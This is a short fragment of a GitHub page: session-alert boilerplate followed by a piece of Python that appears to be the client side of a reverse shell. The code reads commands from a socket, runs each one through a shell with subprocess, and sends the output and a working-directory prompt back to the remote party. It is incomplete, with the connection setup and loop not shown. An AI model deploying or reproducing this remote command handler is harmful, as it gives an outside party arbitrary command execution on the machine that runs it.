You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
os.chdir(data[3:].decode("utf-8")) # changes the directory
if len(data)>0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # Run a command like in a terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read() # output in bytes
output_str = str(output_bytes, "utf-8") # output in string
s.send(str.encode(output_str + str(os.getcwd()) + '> ')) # To get output display like in a command prompt